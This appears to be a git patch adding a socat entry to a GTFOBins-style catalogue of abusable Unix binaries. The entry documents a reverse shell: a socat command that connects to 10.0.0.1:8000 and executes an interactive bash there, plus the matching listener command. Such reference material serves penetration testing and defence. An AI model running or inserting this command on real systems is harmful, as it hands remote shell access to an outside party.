From 43b68e46b1366d69ca7c487a9a68bc3a390ce562 Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Tue, 22 May 2018 21:40:27 +0100 Subject: [PATCH] Add socat --- _gtfobins/socat.md | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100644 _gtfobins/socat.md diff --git a/_gtfobins/socat.md b/_gtfobins/socat.md new file mode 100644 index 0000000..60093da --- /dev/null +++ b/_gtfobins/socat.md @@ -0,0 +1,9 @@ +--- +functions: + reverse-shell: + - description: Run socat file:`tty`,raw,echo=0 tcp-listen:8000 to receive the shell on the other end. + code: | + RHOST=10.0.0.1 + RPORT=8000 + socat tcp-connect:$RHOST:$RPORT exec:"bash -li",pty,stderr,setsid,sigint,sane +--- \ No newline at end of file